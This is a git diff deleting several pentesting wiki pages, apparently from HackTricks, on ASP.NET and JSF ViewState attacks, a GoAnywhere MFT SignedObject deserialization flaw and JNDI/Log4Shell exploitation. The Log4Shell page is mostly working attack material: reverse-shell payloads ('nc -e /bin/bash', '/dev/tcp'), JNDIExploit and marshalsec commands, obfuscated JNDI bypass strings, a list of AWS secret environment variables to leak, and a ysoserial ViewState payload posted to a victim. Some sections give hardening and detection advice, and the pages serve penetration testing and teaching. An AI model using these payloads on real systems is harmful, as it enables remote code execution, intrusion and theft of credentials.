-
-```bash
-ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
-  --validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
-  --validationalg=SHA1 \
-  --decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
-  --decryptionalg=AES --generator=24D41AAB --minify \
-  | curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
-```
-
-This is a good reminder that **recovering one valid key pair is often enough to pivot across every sibling node or customer tenant that reuses it**.
-
-## References
-
-- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
-- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
-
-
-{{#include ../../banners/hacktricks-training.md}}
-
diff --git a/src/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md b/src/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md
deleted file mode 100644
index 9ac13a0588a..00000000000
--- a/src/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# Java JSF ViewState Deserialization
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Check the posts:
-
-- [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
-- [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md b/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md
deleted file mode 100644
index caa4f1ce0c1..00000000000
--- a/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md
+++ /dev/null
@@ -1,152 +0,0 @@
-# Java SignedObject-gated Deserialization and Pre-auth Reachability via Error Paths
-
-{{#include ../../banners/hacktricks-training.md}}
-
-This page documents a common "guarded" Java deserialization pattern built around java.security.SignedObject and how seemingly unreachable sinks can become pre-auth reachable via error-handling flows. The technique was observed in Fortra GoAnywhere MFT (CVE-2025-10035) but is applicable to similar designs.
-
-## Threat model
-
-- Attacker can reach an HTTP endpoint that eventually processes an attacker-supplied byte[] intended to be a serialized SignedObject.
-- The code uses a validating wrapper (e.g., Apache Commons IO ValidatingObjectInputStream or a custom adapter) to constrain the outermost type to SignedObject (or byte[]).
-- The inner object returned by SignedObject.getObject() is where gadget chains can trigger (e.g., CommonsBeanutils1), but only after a signature verification gate.
-
-## Typical vulnerable pattern
-
-A simplified example based on com.linoma.license.gen2.BundleWorker.verify:
-
-```java
-private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception {
-    String sigAlg = "SHA1withDSA";
-    if ("2".equals(keyCfg.getVersion())) {
-        sigAlg = "SHA512withRSA";        // key version controls algorithm
-    }
-    PublicKey pub = getPublicKey(keyCfg);
-    Signature sig = Signature.getInstance(sigAlg);
-
-    // 1) Outer, "guarded" deserialization restricted to SignedObject
-    SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize(
-        payload, SignedObject.class, new Class[]{ byte[].class });
-
-    if (keyCfg.isServer()) {
-        // Hardened server path
-        return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(
-            so, SignedContainer.class, new Class[]{ byte[].class }
-        )).getData();
-    } else {
-        // 2) Signature check using a baked-in public key
-        if (!so.verify(pub, sig)) {
-            throw new IOException("Unable to verify signature!");
-        }
-        // 3) Inner object deserialization (potential gadget execution)
-        SignedContainer inner = (SignedContainer) so.getObject();
-        return inner.getData();
-    }
-}
-```
-
-Key observations:
-- The validating deserializer at (1) blocks arbitrary top-level gadget classes; only SignedObject (or raw byte[]) is accepted.
-- The RCE primitive would be in the inner object materialized by SignedObject.getObject() at (3).
-- A signature gate at (2) enforces that the SignedObject must verify against a product-baked public key. Unless the attacker can produce a valid signature, the inner gadget never deserializes.
-
-## Exploitation considerations
-
-To achieve code execution, an attacker must deliver a correctly signed SignedObject that wraps a malicious gadget chain as its inner object. This generally requires one of the following:
-
-- Private key compromise: obtain the matching private key used by the product to sign/verify license objects.
-- Signing oracle: coerce the vendor or a trusted signing service to sign attacker-controlled serialized content (e.g., if a license server signs an embedded arbitrary object from client input).
-- Alternate reachable path: find a server-side path that deserializes the inner object without enforcing verify(), or that skips signature checks under a specific mode.
-
-Absent one of these, signature verification will prevent exploitation despite the presence of a deserialization sink.
-
-## Pre-auth reachability via error-handling flows
-
-Even when a deserialization endpoint appears to require authentication or a session-bound token, error-handling code can inadvertently mint and attach the token to an unauthenticated session.
-
-Example reachability chain (GoAnywhere MFT):
-- Target servlet: /goanywhere/lic/accept/<GUID> requires a session-bound license request token.
-- Error path: hitting /goanywhere/license/Unlicensed.xhtml with trailing junk and invalid JSF state triggers AdminErrorHandlerServlet, which does:
-  - SessionUtilities.generateLicenseRequestToken(session)
-  - Redirects to vendor license server with a signed license request in bundle=<...>
-- The bundle can be decrypted offline (hard-coded keys) to recover the GUID. Keep the same session cookie and POST to /goanywhere/lic/accept/<GUID> with attacker-controlled bundle bytes, reaching the SignedObject sink pre-auth.
-
-Proof-of-reachability (impact-less) probe:
-
-```http
-GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1
-Host: <target>
-```
-
-- Unpatched: 302 Location header to https://my.goanywhere.com/lic/request?bundle=... and Set-Cookie: ASESSIONID=...
-- Patched: redirect without bundle (no token generation).
-
-## Blue-team detection
-
-Indicators in stack traces/logs strongly suggest attempts to hit a SignedObject-gated sink:
-
-```
-java.io.ObjectInputStream.readObject
-java.security.SignedObject.getObject
-com.linoma.license.gen2.BundleWorker.verify
-com.linoma.license.gen2.BundleWorker.unbundle
-com.linoma.license.gen2.LicenseController.getResponse
-com.linoma.license.gen2.LicenseAPI.getResponse
-com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost
-```
-
-## Hardening guidance
-
-- Maintain signature verification before any getObject() call and ensure the verification uses the intended public key/algorithm.
-- Replace direct SignedObject.getObject() calls with a hardened wrapper that re-applies filtering to the inner stream (e.g., deserializeUntrustedSignedObject using ValidatingObjectInputStream/ObjectInputFilter allow-lists).
-- Remove error-handler flows that issue session-bound tokens for unauthenticated users. Treat error paths as attack surface.
-- Prefer Java serialization filters (JEP 290) with strict allow-lists for both outer and inner deserializations. Example:
-
-```java
-ObjectInputFilter filter = info -> {
-    Class<?> c = info.serialClass();
-    if (c == null) return ObjectInputFilter.Status.UNDECIDED;
-    if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED;
-    return ObjectInputFilter.Status.REJECTED; // outer layer
-};
-ObjectInputFilter.Config.setSerialFilter(filter);
-// For the inner object, apply a separate strict DTO allow-list
-```
-
-## Example attack chain recap (CVE-2025-10035)
-
-1) Pre-auth token minting via error handler:
-
-```http
-GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate
-```
-
-Receive 302 with bundle=... and ASESSIONID=...; decrypt bundle offline to recover GUID.
-
-2) Reach the sink pre-auth with same cookie:
-
-```http
-POST /goanywhere/lic/accept/<GUID> HTTP/1.1
-Cookie: ASESSIONID=<value>
-Content-Type: application/x-www-form-urlencoded
-
-bundle=<attacker-controlled-bytes>
-```
-
-3) RCE requires a correctly signed SignedObject wrapping a gadget chain. Researchers could not bypass signature verification; exploitation hinges on access to a matching private key or a signing oracle.
-
-## Fixed versions and behavioural changes
-
-- GoAnywhere MFT 7.8.4 and Sustain Release 7.6.3:
-  - Harden inner deserialization by replacing SignedObject.getObject() with a wrapper (deserializeUntrustedSignedObject).
-  - Remove error-handler token generation, closing pre-auth reachability.
-
-## Notes on JSF/ViewState
-
-The reachability trick leverages a JSF page (.xhtml) and invalid javax.faces.ViewState to route into a privileged error handler. While not a JSF deserialization issue, it’s a recurring pre-auth pattern: break into error handlers that perform privileged actions and set security-relevant session attributes.
-
-## References
-
-- [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
-- [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012)
-
-{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
deleted file mode 100644
index e714bd4090c..00000000000
--- a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
+++ /dev/null
@@ -1,465 +0,0 @@
-# JNDI - Java Naming and Directory Interface & Log4Shell
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Basic Information
-
-JNDI, integrated into Java since the late 1990s, serves as a directory service, enabling Java programs to locate data or objects through a naming system. It supports various directory services via service provider interfaces (SPIs), allowing data retrieval from different systems, including remote Java objects. Common SPIs include CORBA COS, Java RMI Registry, and LDAP.
-
-### JNDI Naming Reference
-
-Java objects can be stored and retrieved using JNDI Naming References, which come in two forms:
-
-- **Reference Addresses**: Specifies an object's location (e.g., _rmi://server/ref_), allowing direct retrieval from the specified address.
-- **Remote Factory**: References a remote factory class. When accessed, the class is downloaded and instantiated from the remote location.
-
-However, this mechanism can be exploited, potentially leading to the loading and execution of arbitrary code. As a countermeasure:
-
-- **RMI**: `java.rmi.server.useCodeabseOnly = true` by default from JDK 7u21, restricting remote object loading. A Security Manager further limits what can be loaded.
-- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default from JDK 6u141, 7u131, 8u121, blocking the execution of remotely loaded Java objects. If set to `true`, remote code execution is possible without a Security Manager's oversight.
-- **CORBA**: Doesn't have a specific property, but the Security Manager is always active.
-
-However, the **Naming Manager**, responsible for resolving JNDI links, lacks built-in security mechanisms, potentially allowing the retrieval of objects from any source. This poses a risk as RMI, LDAP, and CORBA protections can be circumvented, leading to the loading of arbitrary Java objects or exploiting existing application components (gadgets) to run malicious code.
-
-Examples of exploitable URLs include:
-
-- _rmi://attacker-server/bar_
-- _ldap://attacker-server/bar_
-- _iiop://attacker-server/bar_
-
-Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of bypassing existing protections.
-
-### JNDI Example
-
-![JNDI Naming Reference - JNDI Example: Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of...](<../../images/image (1022).png>)
-
-Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("<attacker-controlled-url>")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.
-
-### CORBA Overview
-
-CORBA (Common Object Request Broker Architecture) employs an **Interoperable Object Reference (IOR)** to uniquely identify remote objects. This reference includes essential information like:
-
-- **Type ID**: Unique identifier for an interface.
-- **Codebase**: URL for obtaining the stub class.
-
-Notably, CORBA isn't inherently vulnerable. Ensuring security typically involves:
-
-- Installation of a **Security Manager**.
-- Configuring the Security Manager to permit connections to potentially malicious codebases. This can be achieved through:
-  - Socket permission, e.g., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
-  - File read permissions, either universally (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) or for specific directories where malicious files might be placed.
-
-However, some vendor policies might be lenient and allow these connections by default.
-
-### RMI Context
-
-For RMI (Remote Method Invocation), the situation is somewhat different. As with CORBA, arbitrary class downloading is restricted by default. To exploit RMI, one would typically need to circumvent the Security Manager, a feat also relevant in CORBA.
-
-### LDAP
-
-First of all, wee need to distinguish between a Search and a Lookup.\
-A **search** will use an URL like `ldap://localhost:389/o=JNDITutorial` to find the JNDITutorial object from an LDAP server and **retreive its attributes**.\
-A **lookup** is meant for **naming services** as we want to get **whatever is bound to a name**.
-
-If the LDAP search was invoked with **SearchControls.setReturningObjFlag() with `true`, then the returned object will be reconstructed**.
-
-Therefore, there are several ways to attack these options.\
-An **attacker may poison LDAP records introducing payloads** on them that will be executed in the systems that gather them (very useful to **compromise tens of machines** if you have access to the LDAP server). Another way to exploit this would be to perform a **MitM attack in a LDAP searc**h for example.
-
-In case you can **make an app resolve a JNDI LDAP UR**L, you can control the LDAP that will be searched, and you could send back the exploit (log4shell).
-
-#### Deserialization exploit
-
-![LDAP - Deserialization exploit: Deserialization exploit](<../../images/image (275).png>)
-
-The **exploit is serialized** and will be deserialized.\
-In case `trustURLCodebase` is `true`, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath.
-
-#### JNDI Reference exploit
-
-It's easier to attack this LDAP using **JavaFactory references**:
-
-![Deserialization exploit - JNDI Reference exploit: JNDI Reference exploit](<../../images/image (1059).png>)
-
-## Log4Shell Vulnerability
-
-The vulnerability is introduced in Log4j because it supports a [**special syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java.
-
-[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduced a `jndi` Lookup feature. This feature enables the retrieval of variables through JNDI. Typically, the key is automatically prefixed with `java:comp/env/`. However, if the key itself includes a **":"**, this default prefix is not applied.
-
-With a **: present** in the key, as in `${jndi:ldap://example.com/a}` there’s **no prefix** and the **LDAP server is queried for the object**. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.
-
-Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is **not used to log only HTTP information but any input** and data the developer indicated.
-
-## Overview of Log4Shell-Related CVEs
-
-### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**
-
-This vulnerability is a critical **untrusted deserialization flaw** in the `log4j-core` component, affecting versions from 2.0-beta9 to 2.14.1. It allows **remote code execution (RCE)**, enabling attackers to take over systems. The issue was reported by Chen Zhaojun from Alibaba Cloud Security Team and affects various Apache frameworks. The initial fix in version 2.15.0 was incomplete. Sigma rules for defense are available ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
-
-### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
-
-Initially rated low but later upgraded to critical, this CVE is a **Denial of Service (DoS)** flaw resulting from an incomplete fix in 2.15.0 for CVE-2021-44228. It affects non-default configurations, allowing attackers to cause DoS attacks through crafted payloads. A [tweet](https://twitter.com/marcioalm/status/1471740771581652995) showcases a bypass method. The issue is resolved in versions 2.16.0 and 2.12.2 by removing message lookup patterns and disabling JNDI by default.
-
-### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
-
-Affecting **Log4j 1.x versions** in non-default configurations using `JMSAppender`, this CVE is an untrusted deserialization flaw. No fix is available for the 1.x branch, which is end-of-life, and upgrading to `log4j-core 2.17.0` is recommended.
-
-### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
-
-This vulnerability affects the **Logback logging framework**, a successor to Log4j 1.x. Previously thought to be safe, the framework was found vulnerable, and newer versions (1.3.0-alpha11 and 1.2.9) have been released to address the issue.
-
-### **CVE-2021-45105** **\[High]**
-
-Log4j 2.16.0 contains a DoS flaw, prompting the release of `log4j 2.17.0` to fix the CVE. Further details are in BleepingComputer's [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
-
-### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
-
-Affecting log4j version 2.17, this CVE requires the attacker to control the configuration file of log4j. It involves potential arbitrary code execution via a configured JDBCAppender. More details are available in the [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
-
-## Log4Shell Exploitation
-
-### Discovery
-
-This vulnerability is very easy to discover if unprotected because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like:
-
-- `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate))
-- `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh))
-- `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (using Burp Suite)
-- `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn))
-- `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com))
-
-Note that **even if a DNS request is received that doesn't mean the application is exploitable** (or even vulnerable), you will need to try to exploit it.
-
-> [!TIP]
-> Remember that to **exploit version 2.15** you need to add the **localhost check bypass**: ${jndi:ldap://**127.0.0.1#**...}
-
-#### **Local Discovery**
-
-Search for **local vulnerable versions** of the library with:
-
-```bash
-find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
-```
-
-### **Verification**
-
-Some of the platforms listed before will allow you to insert some variable data that will be logged when it’s requested.\
-This can be very useful for 2 things:
-
-- To **verify** the vulnerability
-- To **exfiltrate information** abusing the vulnerability
-
-For example you could request something like:\
-or like `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** and if a **DNS request is received with the value of the env variable**, you know the application is vulnerable.
-
-Other information you could try to **leak**:
-
-```
-${env:AWS_ACCESS_KEY_ID}
-${env:AWS_CONFIG_FILE}
-${env:AWS_PROFILE}
-${env:AWS_SECRET_ACCESS_KEY}
-${env:AWS_SESSION_TOKEN}
-${env:AWS_SHARED_CREDENTIALS_FILE}
-${env:AWS_WEB_IDENTITY_TOKEN_FILE}
-${env:HOSTNAME}
-${env:JAVA_VERSION}
-${env:PATH}
-${env:USER}
-${hostName}
-${java.vendor}
-${java:os}
-${java:version}
-${log4j:configParentLocation}
-${sys:PROJECT_HOME}
-${sys:file.separator}
-${sys:java.class.path}
-${sys:java.class.path}
-${sys:java.class.version}
-${sys:java.compiler}
-${sys:java.ext.dirs}
-${sys:java.home}
-${sys:java.io.tmpdir}
-${sys:java.library.path}
-${sys:java.specification.name}
-${sys:java.specification.vendor}
-${sys:java.specification.version}
-${sys:java.vendor.url}
-${sys:java.vendor}
-${sys:java.version}
-${sys:java.vm.name}
-${sys:java.vm.specification.name}
-${sys:java.vm.specification.vendor}
-${sys:java.vm.specification.version}
-${sys:java.vm.vendor}
-${sys:java.vm.version}
-${sys:line.separator}
-${sys:os.arch}
-${sys:os.name}
-${sys:os.version}
-${sys:path.separator}
-${sys:user.dir}
-${sys:user.home}
-${sys:user.name}
-
-Any other env variable name that could store sensitive information
-```
-
-### RCE Information
-
-> [!TIP]
-> Hosts running on JDK versions above 6u141, 7u131, or 8u121 are safeguarded against the LDAP class loading attack vector. This is due to the default deactivation of `com.sun.jndi.ldap.object.trustURLCodebase`, which prevents JNDI from loading a remote codebase via LDAP. However, it's crucial to note that these versions are **not protected against the deserialization attack vector**.
->
-> For attackers aiming to exploit these higher JDK versions, it's necessary to leverage a **trusted gadget** within the Java application. Tools like ysoserial or JNDIExploit are often used for this purpose. On the contrary, exploiting lower JDK versions is relatively easier as these versions can be manipulated to load and execute arbitrary classes.
->
-> For **more information** (_like limitations on RMI and CORBA vectors_) **check the previous JNDI Naming Reference section** or [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
-
-### RCE - Marshalsec with custom payload
-
-You can test this in the **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
-
-Use the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (jar version available [**here**](https://github.com/RandomRobbieBF/marshalsec-jar)). This approach establishes a LDAP referral server to redirect connections to a secondary HTTP server where the exploit will be hosted:
-
-```bash
-java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
-```
-
-To prompt the target to load a reverse shell code, craft a Java file named `Exploit.java` with the content below:
-
-```java
-public class Exploit {
-    static {
-        try {
-            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
-}
-```
-
-Compile the Java file into a class file using: `javac Exploit.java -source 8 -target 8`. Next, initiate a **HTTP server** in the directory containing the class file with: `python3 -m http.server`. Ensure the **marshalsec LDAP server** references this HTTP server.
-
-Trigger the execution of the exploit class on the susceptible web server by dispatching a payload resembling:
-
-```bash
-${jndi:ldap://<LDAP_IP>:1389/Exploit}
-```
-
-**Note:** This exploit hinges on Java's configuration to permit remote codebase loading via LDAP. If this is not permissible, consider exploiting a trusted class for arbitrary code execution.
-
-### RCE - **JNDIExploit**
-
-> [!TIP]
-> Note that for some reason the author removed this project from github after the discovery of log4shell. You can find a cached version in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) but if you want to respect the decision of the author use a different method to exploit this vuln.
->
-> Moreover, you cannot find the source code in wayback machine, so either analyse the source code, or execute the jar knowing that you don't know what you are executing.
-
-For this example you can just run this **vulnerable web server to log4shell** in port 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in the README you will find how to run it_). This vulnerable app is logging with a vulnerable version of log4shell the content of the HTTP request header _X-Api-Version_.
-
-Then, you can download the **JNDIExploit** jar file and execute it with:
-
-```bash
-wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
-unzip JNDIExploit.v1.2.zip
-java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
-```
-
-After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
-In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**.
-
-You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are:
-
-```bash
-ldap://null:1389/Basic/Dnslog/[domain]
-ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
-ldap://null:1389/Basic/ReverseShell/[ip]/[port]
-# But there are a lot more
-```
-
-So, in our example, we already have that docker vulnerable app running. To attack it:
-
-```bash
-# Create a file inside of th vulnerable host:
-curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
-
-# Get a reverse shell (only unix)
-curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
-curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
-```
-
-When sending the attacks you will see some output in the terminal where you executed **JNDIExploit-1.2-SNAPSHOT.jar**.
-
-**Remember to check `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` for other exploitation options. Moreover, in case you need it, you can change the port of the LDAP and HTTP servers.**
-
-### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
-
-In a similar way to the previous exploit, you can try to use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to exploit this vulnerability.\
-You can generate the URLs to send to the victim running:
-
-```bash
-# Get reverse shell in port 4444 (only unix)
-java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
-
-# Execute command
-java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
-```
-
-_This attack using a custom generated java object will work in labs like the **THM solar room**. However, this won’t generally work (as by default Java is not configured to load remote codebase using LDAP) I think because it’s not abusing a trusted class to execute arbitrary code._
-
-### RCE - JNDI-Injection-Exploit-Plus
-
-[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) is another tool for generating **workable JNDI links** and provide background services by starting RMI server,LDAP server and HTTP server.\
-
-### RCE - ysoserial & JNDI-Exploit-Kit
-
-This option is really useful to attack **Java versions configured to only trust specified classes and not everyone**. Therefore, **ysoserial** will be used to generate **serializations of trusted classes** that can be used as gadgets to **execute arbitrary code** (_the trusted class abused by ysoserial must be used by the victim java program in order for the exploit to work_).
-
-Using **ysoserial** or [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) you can create the deserialization exploit that will be downloaded by JNDI:
-
-```bash
-# Rev shell via CommonsCollections5
-java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
-```
-
-Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to generate **JNDI links** where the exploit will be waiting for connections from the vulnerable machines. You can server **different exploit that can be automatically generated** by the JNDI-Exploit-Kit or even your **own deserialization payloads** (generated by you or ysoserial).
-
-```bash
-java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
-```
-
-![RCE - ysoserial & JNDI-Exploit-Kit - Rev shell via CommonsCollections5: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser](<../../images/image (1118).png>)
-
-Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a **reverse shell** just sending to a vulnerable version of log4j: **`${ldap://10.10.14.10:1389/generated}`**
-
-### Bypasses
-
-```java
-${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
-${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
-${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
-${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
-${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
-${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
-${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
-${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
-${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
-```
-
-### Automatic Scanners
-
-- [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
-- [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
-- [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell)
-- [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner)
-- [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
-- [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
-- [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
-- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Find local vulnerable libraries
-
-### Labs to test
-
-- [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)
-- [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
-- [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
-- [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
-
-## Post-Log4Shell Exploitation
-
-In this [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is well explained how it's potentially **possible** to **abuse** some features of **Log4J**.
-
-The [**security page**](https://logging.apache.org/log4j/2.x/security.html) of Log4j has some interesting sentences:
-
